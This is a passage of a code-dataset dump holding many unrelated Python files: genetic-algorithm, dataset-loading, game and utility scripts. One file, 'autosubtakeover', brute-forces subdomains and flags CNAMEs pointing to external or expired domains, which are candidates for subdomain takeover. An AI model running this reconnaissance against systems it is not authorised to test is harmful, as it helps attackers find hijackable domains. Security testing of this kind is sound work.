conGene.setWeight(conGene.getWeight() + random.uniform(min_perturb, max_perturb))\n\n        # disabling a gene if it is disabled in either of the parents 75% of the times\n        if (i in connectionsGenome1 and (not connectionsGenome1[i].isExpressed())):\n            disabled = True\n        elif (i in connectionsGenome2 and (not connectionsGenome2[i].isExpressed())):\n            disabled = True\n        else:\n            disabled = False\n        if (disabled):\n            prob = random.random()\n            if (prob <= disable_rate):\n                conGene.disable()\n            else:\n                conGene.enable()\n\n        # mutating the connection by adding a new node and splitting it\n        prob = random.random()\n        if (prob <= node_mutation_rate):\n            conGene.disable()\n            newInnovation1 = str(conGene.getInput()) + \"_\" + str(len(newGenome.getNodeGenesList()))\n            newInnovation2 = str(len(newGenome.getNodeGenesList())) + \"_\" + str(conGene.getOutput())\n\n            conGene1 = ConnectionGene(conGene.getInput(), len(newGenome.getNodeGenesList()), conGene.getWeight())\n            conGene2 = ConnectionGene(len(newGenome.getNodeGenesList()), conGene.getOutput(), 1)\n\n            nodeGene = NodeGene(1)\n\n            newGenome.addNodeGene(nodeGene)\n            # print(\"Adding inno1 into newGenome\")\n            newGenome.addConnectionGene(conGene1, newInnovation1)\n            # print(\"newInnovation1\", newInnovation1)\n            # print(\"Adding inno2 into newGenome:\", newInnovation1, newInnovation2)\n            newGenome.addConnectionGene(conGene2, newInnovation2)\n            # print(\"newInnovation2\", newInnovation2)\n\n        # print(\"i\", i)\n        # print(\"Adding conGene into newGenome\")\n        newGenome.addConnectionGene(conGene, i)  # adding the gene into the child\n\n    # mutating by creating a previously absent connection\n    prob = random.random()\n    if (prob <= connection_mutation_rate):\n        # try choosing a random connection following number of times and quit if can't find it\n        connectionsNewGenome = newGenome.getConnectionGenesDict()\n        nodeList = newGenome.getNodeGenesList()\n        for f in range(0, len(connectionsNewGenome)):\n            start = random.randrange(0, len(nodeList))\n            end = random.randrange(0, len(nodeList))\n            if (start != end and (nodeList[start].getType() != 2) and (start < end)):\n                if (nodeList[start].getType() != 0 or nodeList[end].getType() != 0):\n                    if (nodeList[start].getType() != 2 or nodeList[end].getType() != 2):\n                        inno = str(start) + \"_\" + str(end)\n                        if(inno not in connectionsNewGenome):\n                            mutantCon = ConnectionGene(start, end, random.uniform(min_weight, max_weight))\n                            #print(\"Adding absent conn into newGenome\")\n                            newGenome.addConnectionGene(mutantCon, inno)\n                            break\n\n    return copy.deepcopy(newGenome)\n\n\n# function to calculate the genetic distance between two genomes\ndef geneticDistance(genome1, genome2, c1, c2):\n    g1_p1 = genome1.getConnectionGenesDict()\n    g2_p1 = genome2.getConnectionGenesDict()\n\n    if (len(g1_p1) > len(g2_p1)):\n        N = len(g1_p1)\n    else:\n        N = len(g2_p1)\n\n    if (N < 20):\n        N = 1\n\n    total_disjoint_genes = 0\n    average_weight_difference = 0\n    total_common_connections = 0\n\n    for inno in g1_p1:\n        if inno in g2_p1:\n            average_weight_difference += abs(g1_p1[inno].getWeight() - g2_p1[inno].getWeight())\n            total_common_connections += 1\n        else:\n            total_disjoint_genes += 1\n\n    for inno in g2_p1:\n        if inno not in g1_p1:\n            total_disjoint_genes += 1\n\n    average_weight_difference /= total_common_connections\n    return (c1 * (total_disjoint_genes / N)) + (c2 * average_weight_difference)\n","sub_path":"genome.py","file_name":"genome.py","file_ext":"py","file_size_in_byte":7118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"121122103","text":"import numpy as np\n\ndef main():\n\t# Load and parse the file containing the coordinates of all VDS in district 11\n\tf = open('VDS_district_11.csv', 'r')\n\tlines = f.readlines()\n\tf.close()\n\n\tvds_ids = []\n\tvds_lats = []\n\tvds_lons = []\n\n\tfor line in lines:\n\t\tline = line.strip('\\n')\n\t\tline = line.split(',')\n\n\t\tvds_id = int(line[0])\n\t\tvds_lat = float(line[1])\n\t\tvds_lon = float(line[2])\n\n\t\tvds_ids.append(vds_id)\n\t\tvds_lats.append(vds_lat)\n\t\tvds_lons.append(vds_lon)\n\n\tvds_ids = np.array(vds_ids)\n\tvds_lats = np.array(vds_lats)\n\tvds_lons = np.array(vds_lons)\n\n\t# Load and parse the file containing the ids of VDS of dataset of interest\n\tf = open('vds_ids_flow_dataset.txt')\n\tlines = f.readlines()\n\tf.close()\n\n\tvds_ids_to_search = []\n\n\tfor line in lines:\n\t\tline = line.strip('\\n')\n\t\tvds_id_to_search = int(line)\n\t\tvds_ids_to_search.append(vds_id_to_search)\n\n\t# Search the ids of VDS of interest into the arrays containing information for VDS in the specific district\n\tf = open('vds_ids_lat_lon_flow_dataset.csv', 'w')\n\n\tfor vds_id_to_search in vds_ids_to_search:\n\t\tresult = np.where(vds_ids == vds_id_to_search)\n\t\tvds_index = result[0][0]\n\n\t\tlat = vds_lats[vds_index]\n\t\tlon = vds_lons[vds_index]\n\n\t\tf.write(str(vds_id_to_search))\n\t\tf.write(',')\n\t\tf.write(str(lat))\n\t\tf.write(',')\n\t\tf.write(str(lon))\n\t\tf.write('\\n')\n\n\tf.close()\n\n\treturn\n\nif __name__ == '__main__':\n    main()","sub_path":"src/find_vds_coords_for_datasets.py","file_name":"find_vds_coords_for_datasets.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"240010233","text":"\"\"\"\n给定一个非负索引 k，其中 k ≤ 33，返回杨辉三角的第 k 行。\n\n示例:\n输入: 3\n输出: [1,3,3,1]\n\"\"\"\n\n\"\"\"\n思路分析：\n判断i是不是这一层，再输出\n\"\"\"\n#我的做法\nclass Solution:\n    def getRow(self, rowIndex: int) -> List[int]:\n        if rowIndex == 0:\n            return [1]\n        if rowIndex == 1:\n            return [1, 1]\n        li = [[1], [1, 1]]\n        i = 3\n        while True:\n            new = []\n            for j in range(i - 2):\n                new.append(li[i - 2][j] + li[i - 2][j + 1])\n            new.insert(0, 1)\n            new.append(1)\n            li.append(new)\n            if rowIndex == i - 1:\n                return li[i - 1]\n            i = i + 1\n\n#我的做法2\n\n\"\"\"\n判断i是不是这一层，再输出\n\"\"\"\nclass Solution:\n    def getRow(self, rowIndex: int) -> List[int]:\n        res = []\n        i = 0\n        while True:\n            res.append([1] * (i + 1))\n            for j in range(1, i):\n                res[i][j] = res[i - 1][j - 1] + res[i - 1][j]\n            if rowIndex==i:\n                return res[i]\n            i=i+1\n\n\n","sub_path":"119、杨辉三角 II .py","file_name":"119、杨辉三角 II .py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"349916757","text":"import sys\nimport logging\nfrom threading import Lock\nfrom permissionBase import PermissionBase\nfrom permissionBase import InvalidPermissionException\nfrom basicPlayerCommands import *\nfrom gameCommand import GameCommand\nfrom userContext import UserContext\n\n\nlogger = logging.getLogger('django.request')\n\n_goodlock = Lock()\n\n\nclass GameCommandsFactory:\n\n\t@staticmethod\n\tdef SetupCommands(instance):\n\t\tinstance.AddCommand(HelpCommand(\"help\", PermissionBase.RealmPlayer()))\n\t\tinstance.AddCommand(RenameCommand(\"rename\", PermissionBase.RealmPlayer()))\n\t\tinstance.AddCommand(TalkToCommand(\"talkto\", PermissionBase.RealmPlayer()))\n\t\tinstance.AddCommand(WhoCommand(\"who\", PermissionBase.RealmPlayer()))\n\t\tinstance.AddCommand(LookCommand(\"look\", PermissionBase.RealmPlayer()))\n\t\t# default command\n\t\tinstance._dafaultCommand = DefaultCommand(\"_\", PermissionBase.RealmPlayer())\n\n\t@staticmethod\n\tdef GetSingleton():\n\t\t_goodlock.acquire()\n\t\ttry:\n\t\t\ttInstance = None\n\t\t\tif hasattr(GameCommandsFactory, '_instance') == False:\n\t\t\t\tlogger.info(\"Instanize GameCommandsFactory\")\n\t\t\t\tGameCommandsFactory._instance = GameCommandsFactory()\n\t\t\t\tGameCommandsFactory.SetupCommands(GameCommandsFactory._instance)\n\t\t\t\ttInstance = GameCommandsFactory._instance\n\t\texcept:\n\t\t\tGameCommandsFactory._instance = None\n\t\t\ttInstance = None\n\t\tfinally:\n\t\t\tpass\n\t\t_goodlock.release()\n\t\treturn\ttInstance\n\n\tdef __init__(self):\n\t\tself._commandsDict = {}\n\n\tdef AddCommand(self, aGameCommand):\n\t\tif aGameCommand is None:\n\t\t\traise BaseException('No input')\n\t\tif isinstance(aGameCommand, GameCommand) == False:\n\t\t\traise BaseException('Expect a implementation of GameCommand')\t\t\n\t\tif aGameCommand.GetCommandName() in self._commandsDict:\n\t\t\traise BaseException('Command existing in my book')\n\t\t\n\t\tlogger.info(\"New command: \" + aGameCommand.GetCommandName())\n\t\tself._commandsDict[aGameCommand.GetCommandName()] = aGameCommand\n\n\tdef GetCommandInstance(self, text):\n\t\tif isinstance(text, basestring) == False or len(text) == 0:\n\t\t\tlogger.info(\"GetCommandInstance: Wrong text param\")\n\t\t\treturn\tNone, None\n\t\t\n\t\tparts = text.split()\n\t\tif len(parts) == 0:\n\t\t\tlogger.info(\"GetCommandInstance: not parts\")\n\t\t\treturn\tNone, None\n\n\t\tif len(parts[0]) == 0 or parts[0][0] != u\"@\":\n\t\t\tlogger.info(\"GetCommandInstance: not a command\")\n\t\t\treturn\tNone, None\n\n\t\tcmdStr = parts[0][1:].lower()\n\t\tcmdInst = self._commandsDict.get(cmdStr)\n\t\tif cmdInst is None:\n\t\t\tlogger.info(\"GetCommandInstance: Command not found\")\n\t\t\treturn\tNone, None\n\t\treturn\tcmdInst, parts[1:]\n\n\tdef Execute(self, text, userContext):\n\t\tif isinstance(text, basestring) == False:\n\t\t\tlogger.info(\"Execute: wrong text\")\n\t\t\treturn\tNone\n\t\tif isinstance(userContext, UserContext) == False:\n\t\t\tlogger.info(\"Execute: wrong user context\")\n\t\t\treturn\tNone\n\n\t\thandler, parts = self.GetCommandInstance(text)\n\t\tif handler is None:\n\t\t\thandler = self._dafaultCommand\n\n\t\tif userContext.GetUserPermission().IsHigerPermission(handler._permission) == False:\n\t\t\tlogger.info(\"Execute: No permission\")\n\t\t\traise InvalidPermissionException('Not permit to run command')\n\n\t\treturn\thandler.Execute(parts, userContext)\n","sub_path":"fbwebhook/commandsBase.py","file_name":"commandsBase.py","file_ext":"py","file_size_in_byte":3089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"612375805","text":"# coding:\t\t\tutf-8\n# File name: \t\tnaprawOgonki.py\n# Author: \t\t\tPiotr Kaminski\n# E-Mail: \t\t\tpiotrkamx at gmail dot com\n# Date created:\t\tDecember 2019\n# Python Version:\t2.6\n# Description:\n#\tSimple script to fix polish special characters after they've been improperly converted from ANSI/ASCII text file to UTF-8 text file\n\ncharsDict = {\n  '¹' : 'ą', \n  '�' : 'Ą',\n  'æ' : 'ć', \n  'Æ' : 'Ć', \n  'ê' : 'ę', \n  'Ê' : 'Ę',\n  '³' : 'ł', \n  '£' : 'Ł', \n  'ñ' : 'ń',\n  'Ñ' : 'Ń', \n#  'ó' : 'ó', \n#  'Ó' : 'Ó',\n  'œ' : 'ś', \n  'Œ' : 'Ś', \n  'Ÿ' : 'ź', \n  '¥' : 'Ź', \n  '¿' : 'ż', \n  '¯' : 'Ż', \n}\n\ndef fixChars(str):\n\tfor c in charsDict:\n\t\tstr = str.replace(c, charsDict[c])\n\treturn str\n\ndef replaceLine(contents, lineNumber, totalLines):\n\t\tnewLineContents = fixChars(contents)\n\t\tif contents != newLineContents:\n\t\t\teditor.replaceLine(lineNumber, newLineContents.strip())\n\t\treturn 1\n\neditor.forEachLine(replaceLine)\n","sub_path":"scripts/naprawOgonki.py","file_name":"naprawOgonki.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"274075101","text":"import os\nimport os.path as osp\nimport pickle\n\nimport numpy as np\nimport torch\nfrom cogdl.data import Data, Dataset\nfrom cogdl.utils import download_url\n\nfrom . import register_dataset\n\n\n@register_dataset(\"jknet_cora\")\nclass CoraDataset(Dataset):\n\n    url = \"https://github.com/mori97/JKNet-dgl/raw/master/datasets/cora\"\n\n    def __init__(self, args=None):\n        dataset = \"jknet_cora\"\n        path = osp.join(osp.dirname(osp.realpath(__file__)), \"../..\", \"data\", dataset)\n        if not osp.exists(path):\n            os.makedirs(path)\n        super(CoraDataset, self).__init__(path)\n        with open(self.processed_paths[0], \"rb\") as fin:\n            load_data = pickle.load(fin)\n        self.num_nodes = load_data[\"node_num\"]\n\n        data = Data()\n        data.x = load_data[\"xs\"]\n        data.y = load_data[\"ys\"]\n\n        train_size = int(self.num_nodes * 0.8)\n        train_mask = np.zeros((self.num_nodes,), dtype=bool)\n        train_idx = np.random.choice(np.arange(self.num_nodes), size=train_size, replace=False)\n        train_mask[train_idx] = True\n        test_mask = np.ones((self.num_nodes,), dtype=bool)\n        test_mask[train_idx] = False\n        val_mask = test_mask\n\n        edges = load_data[\"edges\"]\n        edges = np.array(edges, dtype=int).transpose((1, 0))\n\n        data.edge_index = torch.from_numpy(edges)\n        data.train_mask = torch.from_numpy(train_mask)\n        data.test_mask = torch.from_numpy(test_mask)\n        data.val_mask = torch.from_numpy(val_mask)\n        data.x = torch.Tensor(data.x)\n        data.y = torch.LongTensor(data.y)\n\n        self.data = data\n        self.num_classes = torch.max(self.data.y).item() + 1\n\n    @property\n    def raw_file_names(self):\n        names = [\"cora.cites\", \"cora.content\"]\n        return names\n\n    @property\n    def processed_file_names(self):\n        return [\"cora.pkl\"]\n\n    def get(self, idx):\n        assert idx == 0\n        return self.data\n\n    def download(self):\n        for name in self.raw_file_names:\n            if not os.path.exists(os.path.join(self.raw_dir, name)):\n                download_url(\"{}/{}\".format(self.url, name), self.raw_dir)\n\n    def process(self):\n        class2index = {}\n        paper2index = {}\n        xs = []\n        ts = []\n        content_filename = osp.join(self.raw_dir, self.raw_file_names[1])\n        cites_filename = osp.join(self.raw_dir, self.raw_file_names[0])\n\n        with open(content_filename, \"r\") as f:\n            for line in f:\n                words = line.strip().split(\"\\t\")\n                paper_id = words[0]\n                word_attributes = list(map(float, words[1:-1]))\n                class_label = words[-1]\n\n                if paper_id not in paper2index:\n                    paper2index[paper_id] = len(paper2index)\n                if class_label not in class2index:\n                    class2index[class_label] = len(class2index)\n\n                xs.append(word_attributes)\n                ts.append(class2index[class_label])\n\n        node_num = len(xs)\n        edges = []\n\n        with open(cites_filename, \"r\") as f:\n            for line in f:\n                words = line.strip().split(\"\\t\")\n                try:\n                    src = paper2index[words[0]]\n                    dst = paper2index[words[1]]\n                    edges.append([src, dst])\n                except KeyError:\n                    continue\n\n        xs = np.array(xs)\n        ys = np.array(ts)\n\n        data = {\"xs\": xs, \"ys\": ys, \"node_num\": node_num, \"edges\": edges}\n        with open(self.processed_paths[0], \"wb\") as fout:\n            pickle.dump(data, fout)\n","sub_path":"cogdl/datasets/cora_data.py","file_name":"cora_data.py","file_ext":"py","file_size_in_byte":3589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"591921516","text":"\"\"\"Collection of autosubtakeover's command line entry points that allow you to start\nthe program from the command-line\"\"\"\nimport logging\nimport asyncio\nimport socket\n\nfrom typing import Tuple, Union\nfrom datetime import datetime\nfrom contextlib import closing\n\nimport click\nimport aiodns\nimport tldextract\nimport tornado.iostream\n\nlog = logging.getLogger(__name__)\nlogging.basicConfig(level=logging.DEBUG)\n\n\nasync def check_expiry(domain: str, subdomain: str, server: str) -> None:\n    \"\"\"This function queries a whois database to check if a domain name is expired or not\"\"\"\n    whois_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    try:\n        with closing(tornado.iostream.IOStream(whois_socket)) as stream:\n            await stream.connect((server, 43))\n            await stream.write((f\"{domain}\\r\\n\").encode(\"utf8\"))\n            await stream.read_until(b\"Expiry Date: \")\n            date = await stream.read_until(b\"\\n\")\n            date = date.decode(\"utf8\").rstrip()\n            date = datetime.strptime(date, \"%Y-%m-%dT%H:%M:%SZ\")\n            if date <= datetime.now():\n                log.debug(\n                    \"%s points to %s which was expired on %s\",\n                    subdomain,\n                    domain,\n                    date,\n                )\n    except tornado.iostream.StreamClosedError:\n        pass\n\n\nasync def check_takeover(\n        subdomain: str, resolver: aiodns.DNSResolver\n) -> Tuple[str, Union[str, None]]:\n    \"\"\"This function asynchronously resolves a domain name\"\"\"\n    try:\n        result = await resolver.query(subdomain, \"CNAME\")\n        domain = tldextract.extract(subdomain)\n        domain = f\"{domain.domain}.{domain.suffix}\"\n        result_domain = tldextract.extract(result.cname)\n        result_domain = f\"{result_domain.domain}.{result_domain.suffix}\"\n        await check_expiry(result_domain, subdomain, \"whois.verisign-grs.com\")\n\n        if domain not in result_domain:\n            log.debug(\n                \"%s points to an external domain %s\", subdomain, result_domain\n            )\n\n        return (subdomain, result.cname, result_domain)\n    except aiodns.error.DNSError:\n        return (subdomain, None, None)\n\n\nasync def parse_data(\n        wordlist: str, domainlist: str, nameservers: Union[str, None]\n) -> None:\n    \"\"\"This function loads the specified worlist and domainlist and runs the resolve function\"\"\"\n    with open(wordlist, \"r\") as file_handler:\n        word_list = file_handler.read().splitlines()\n    with open(domainlist, \"r\") as file_handler:\n        domain_list = file_handler.read().splitlines()\n    if nameservers is None:\n        name_servers = None\n    else:\n        with open(nameservers, \"r\") as file_handler:\n            name_servers = file_handler.read().splitlines()\n\n    resolver = aiodns.DNSResolver(nameservers=name_servers)\n\n    tasks = [\n        check_takeover(f\"{subdomain}.{domain}\", resolver)\n        for subdomain in word_list\n        for domain in domain_list\n    ]\n\n    resolved = await asyncio.gather(*tasks)\n    resolved = [x for x in resolved if x[1] is not None]\n    log.debug(\"Domains resolved: %d\", len(resolved))\n\n\n@click.command()\n@click.option(\"--domains\", default=\"./domains.txt\", help=\"Domains to brute.\")\n@click.option(\"--nameservers\", default=None, help=\"Nameservers to use.\")\n@click.option(\n    \"--wordlist\", default=\"./wordlist.txt\", help=\"Wordlist of subdomains\"\n)\ndef main(domains: str, wordlist: str, nameservers: Union[str, None]) -> None:\n    \"\"\"AutoSubTakeover by Oblivion, Mantis and Zoidberg\"\"\"\n    print(\"AutoSubTakeover by Oblivion, Mantis and Zoidberg\")\n    asyncio.run(parse_data(wordlist, domains, nameservers))\n","sub_path":"autosubtakeover/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":3654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"134121807","text":"#!/usr/bin/env python3\n\nimport cherrypy\nimport boggle\n\n\nclass BoggleServer:\n    @cherrypy.expose\n    def index(self):\n        return open('boggle.html').read()\n\n    @cherrypy.expose\n    def solve(self, board=''):\n        yield '<h1>Boggle Words</h1><ul>'\n\n        for w in boggle.solve(boggle.make_board(board)):\n            yield '<li>%s</li>' % w\n\n        yield '</ul>'\n    solve._cp_config = {'response.stream': True}\n\n\ndef main():\n    boggle.load_dict()\n    cherrypy.server.socket_host = '0.0.0.0'\n    cherrypy.server.socket_port = 80\n    cherrypy.quickstart(BoggleServer())\n\n\nif __name__ == '__main__':\n    main()\n","sub_path":"boggled.py","file_name":"boggled.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"431775214","text":"# from blackjack.blackjack import you_won\nfrom turtle import Turtle, Screen, clear, color, fillcolor\nimport turtle\nimport random\n\nscreen = Screen()\nscreen.setup(height=800, width=1000)\n\nturtle1 = Turtle()\nturtle1.penup()\nturtle1.setposition(300, 300)\nturtle1.pendown()\nturtle1.right(90)\nturtle1.fd(600)\n\nuser_ans = screen.textinput(title=\"betting game\",\n                            prompt='bet on which coloured turtle will win the game/n')\ncolor1 = ['red', 'blue', 'green', 'orange', 'purple', 'black']\nturtle_list = []\n\n\nfor i in range(6):\n    new_turtle = Turtle(shape='turtle')\n    new_turtle.shapesize(3, 3)\n    new_turtle.color(color1[i])\n    new_turtle.penup()\n    new_turtle.goto(x=-400, y=300-(i*100))\n    turtle_list.append(new_turtle)\n\ncondition = True if user_ans else False\n\nwhile condition:\n    for new_turtle in turtle_list:\n        new_turtle.forward(random.randint(1, 10))\n        check_pos = new_turtle.position()\n        if check_pos > (300, 1000):\n            condition = False\n            wincolor = new_turtle.color()\n            if wincolor[1] == user_ans:\n                print(f'you won {wincolor[1]}')\n            else:\n                print(f'you lose.winner is {wincolor[1]} ')\n\n\nscreen.exitonclick()\n","sub_path":"selfdraw_turtle.py","file_name":"selfdraw_turtle.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"292043148","text":"import datetime\nfrom dateutil import relativedelta\n\ndef difference_between_dates_without_time(to_date, from_date):\n    \n    diff=relativedelta.relativedelta(to_date, from_date)\n    years=diff.years\n    months=diff.months\n    days=diff.days\n    \n    return \"{} years, {} months, {} days\".format(years, months, days)\n    \n    \n\ndef difference_between_dates_with_times(to_date, from_date):\n    \n    diff=relativedelta.relativedelta(to_date, from_date)\n    years=diff.years\n    months=diff.months\n    days=diff.days\n    hours=diff.hours\n    minutes=diff.minutes\n    seconds=diff.seconds\n    \n    return \"{} years, {} months, {} days, {} hours, {} minutes, {} seconds\".format(years, months, days, hours, minutes, seconds)\n    \n    \n\nif __name__ == '__main__':\n    \n    val = input(\"Enter 1 to enetr date with time or enter 2 to enter date without time: \")\n    \n    while True:\n        if val==\"1\":\n            to_date = input(\"Enter the date time in the yyyy-mm-dd-Hr-Min-Sec format: \")\n            temp = to_date.split(\"-\")\n            to_date = datetime.datetime(year=int(temp[0]), month=int(temp[1]), day=int(temp[2]), hour=int(temp[3]), minute=int(temp[4]), second=int(temp[5]))\n            from_date = datetime.datetime.now()\n            print(difference_between_dates_with_times(to_date, from_date))\n            break\n        elif val==\"2\":\n            to_date = input(\"Enter the date time in the yyyy-mm-dd format: \")\n            temp = to_date.split(\"-\")\n            to_date = datetime.date(year=int(temp[0]), month=int(temp[1]), day=int(temp[2]))\n            from_date = datetime.date.today()\n            print(difference_between_dates_without_time(to_date, from_date))\n            break\n        else:\n            print(\"INVALID!!!\")\n            val = input(\"Enter 1 to enetr date with time or enter 2 to enter date without time: \")","sub_path":"countdown.py","file_name":"countdown.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"257502377","text":"def solution(line):\n    stack = []\n    prior = {'+':0, '-':0, '*':1, '/':1}\n\n    for l in \"(\"+line+\")\":\n        if l == \"(\":\n            stack.append(l)\n        elif 'A' <= l <= 'Z':\n            print(l, end='')\n        elif l == \")\":\n            while True:\n                x = stack.pop()\n                if x == \"(\": break\n                print(x, end='')\n        else:\n            while stack[-1]!='(' and prior[l] <= prior[stack[-1]]:\n                print(stack.pop(), end='')\n            stack.append(l)\n\nLine = input()\nsolution(Line)","sub_path":"STACK/[1918]후위표기식/[1918]후위표기식.py","file_name":"[1918]후위표기식.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"176323770","text":"import os\nfrom setuptools import setup, find_packages\n\n\ndef read(fname):\n    return open(os.path.join(os.path.dirname(__file__), fname)).read()\n\n\nsetup(\n    name=\"FicusFramework\",\n    version=\"3.0.3.post5\",\n\n    packages=find_packages('src'),\n    package_dir={'': 'src'},\n    test_suite=\"test\",\n\n    install_requires=[\"flask\", \"flask-cors\", \"requests\", \"apscheduler\", \"jsonpath-rw\",\n                      \"munch\", \"PyYaml\", \"py_eureka_client\", \"readerwriterlock\", \"confluent-kafka\",\n                      \"sqlalchemy==1.3.3\", \"mysqlclient\",\"gevent\",\"Celery\",\"redis\"],\n\n    author='sunxiang0918',\n    author_email=\"sunxiang0918@gmail.com\",\n    description=\"A framework for Ficus by Python3.\",\n    long_description=read(\"README.rst\"),\n    license=\"MIT\",\n    keywords=\"ficus framework python\",\n    url=\"https://git.sobey.com/SobeyHive/FicusFramework4Py\",\n    classifiers=[\n        \"Intended Audience :: Developers\",\n        \"License :: OSI Approved :: GNU Lesser General Public License v2 or later (LGPLv2+)\",\n        \"Natural Language :: Chinese (Simplified)\",\n        \"Programming Language :: Python :: 3.6\",\n        \"Programming Language :: Python :: 3.7\"\n    ],\n    zip_safe=False\n)\n","sub_path":"pypi_install_script/FicusFramework-3.0.3.post5.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"59196793","text":"\"\"\"\n    协程 gevent 示例\n\"\"\"\nimport gevent\n\nfrom gevent import monkey\n\n# from time import sleep\n# monkey 转化要写在导入相应模块之前\nmonkey.patch_time()\nfrom time import sleep\n\n\n# 协程函数\ndef foo(a, b):\n    print('run foo --', a, b)\n    sleep(2)\n    print('foo again...')\n\n\ndef bar():\n    print('run bar --')\n    sleep(3)\n    print('bar again...')\n\n\n# 生成协程对象\nf = gevent.spawn(foo, 1, 2)\nb = gevent.spawn(bar)\n\n# gevent.sleep(5)\n# 阻塞等待f，b 两个协程执行完毕\ngevent.joinall([f, b])\n","sub_path":"python_study/concurrent/Day05/gevent_test.py","file_name":"gevent_test.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"497186664","text":"# Compute the frequency of each word\nimport os\nimport json\nimport codecs\nimport heapq\nfrom util import get_dataset_list\n\ndef count_word_freq(gram, datalist):\n\tif gram >= 3:\n\t\tprint('Use the count_tri_freq function')\n\t\treturn\n\n\tword_count = {}\n\n\tfor data in datalist:\n\t\twith codecs.open(data) as f:\n\t\t\tfor line in f:\n\t\t\t\tl = len(line)\n\t\t\t\tif l < gram:\n\t\t\t\t\tcontinue\n\n\t\t\t\tfor i in range(gram-1, l):\n\t\t\t\t\tword = line[i-gram+1:i+1]\n\t\t\t\t\tif ' ' in word:\n\t\t\t\t\t\tcontinue\n\n\t\t\t\t\tif word in word_count:\n\t\t\t\t\t\tword_count[word] = word_count[word] + 1\n\t\t\t\t\telse:\n\t\t\t\t\t\tword_count[word] = 0\n\n\t#select maximum 10^6 elements in word_count\n\tif gram == 2:\n\t\theap = [(value, key) for key,value in word_count.items()]\n\t\tlargest = heapq.nlargest(1000000, heap)\n\t\tword_count = dict([(key, value) for value, key in largest])\n\n\tword_count_json = json.dumps(word_count)\n\n\tcount_path = '../data/word_count'\n\ttry:  \n\t    os.mkdir(count_path)\n\texcept OSError:  \n\t    print (\"Directory %s already exists\" % count_path)\n\telse:  \n\t    print (\"Successfully created the directory %s \" % count_path)\n\n\twrite_path = count_path + '/' + str(gram) + 'gram.json'\n\n\twith codecs.open(write_path, 'w') as f:\n\t\tf.write(word_count_json)\n\ndef word_freq(gram):\n\tif gram >= 3:\n\t\tprint('Use the trigram_freq function')\n\t\treturn\n\n\tdatalist = get_dataset_list()\n\tcount_word_freq(gram, datalist)\n\ndef get_word_freq(gram, word):\n\tpath = '../data/word_count/' + str(gram) + 'gram.json'\n\tfreq = 0\n\twith codecs.open(path) as f:\n\t\tobj = json.load(f)\n\t\tif word in obj:\n\t\t\tfreq = obj[word]\n\treturn freq\n\nif __name__ == '__main__':\n\tget_word_freq(2, '仅用')","sub_path":"src/wordfreq.py","file_name":"wordfreq.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"615607529","text":"# Parse date, split, validate\n\nfrom datetime import datetime\n\n\ndef parse_date(date_string):\n    return datetime.strptime(date_string, '%Y.%m.%d')\n\n\ndef is_it_date(date):\n    date_parts = date.split(\".\")\n\n    if len(date_parts) == 3:\n        if len(date_parts[0]) != 4:\n            print(\"The year is must be exactly 4 chars!\")\n            return False\n        for part in date_parts:\n            if not part.isdigit():\n                print(\"Bad date format ! It should be YYYY.MM.DD !\")\n                return False\n        if int(date_parts[0]) < 1900:\n            print(\"Stop joking Bro'! Enter a believable datetime!\")\n            return False\n\n        if int(date_parts[1]) > 12:\n            print(\"There are just 12 different kind of months!\"\n                  \"Please enter a number less or equal 12 for the months.\")\n            return False\n        if int(date_parts[1]) < 1:\n            print(\"The number in the place of the months must be at least 1!\")\n            return False\n        if int(date_parts[2]) > 31:\n            print(\"There is not any months which contains more than 31 days\")\n            return False\n        if int(date_parts[2]) < 1:\n            print(\"There is not any months which not contains days\")\n            return False\n        if int(date_parts[1]) == 2 and int(date_parts[2]) > 29:\n            print(\"The february contains maximum 29 days.\")\n            return False\n        if (int(date_parts[1]) == 4 or int(date_parts[1]) == 6 or int(date_parts[1]) == 9 or\n                int(date_parts[1]) == 11) and int(date_parts[2]) > 30:\n            print(\"This month is only 30 days long!\")\n            return False\n        return True\n    print(\"The date format is not correct! It should be YYYY.MM.DD !\")\n    return False\n\n\ndef is_it_time(time):\n    text_parts = time.split(\":\")\n    if len(text_parts) == 2:\n        for part in text_parts:\n            if not part.isdigit():\n                print(\"Bad time format ! It should be HH:MM !\")\n                return False\n        if int(text_parts[0]) > 23 or int(text_parts[0]) < 0:\n            print(\"The hour must be between 0 and 23\")\n            return False\n        if int(text_parts[1]) > 59 or int(text_parts[1]) < 0:\n            print(\"The minutes must be between 0 and 59\")\n            return False\n        return True\n    print(\"Bad time format ! It should be HH:MM !\")\n    return False\n","sub_path":"helpers/dateHelper.py","file_name":"dateHelper.py","file_ext":"py","file_size_in_byte":2379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
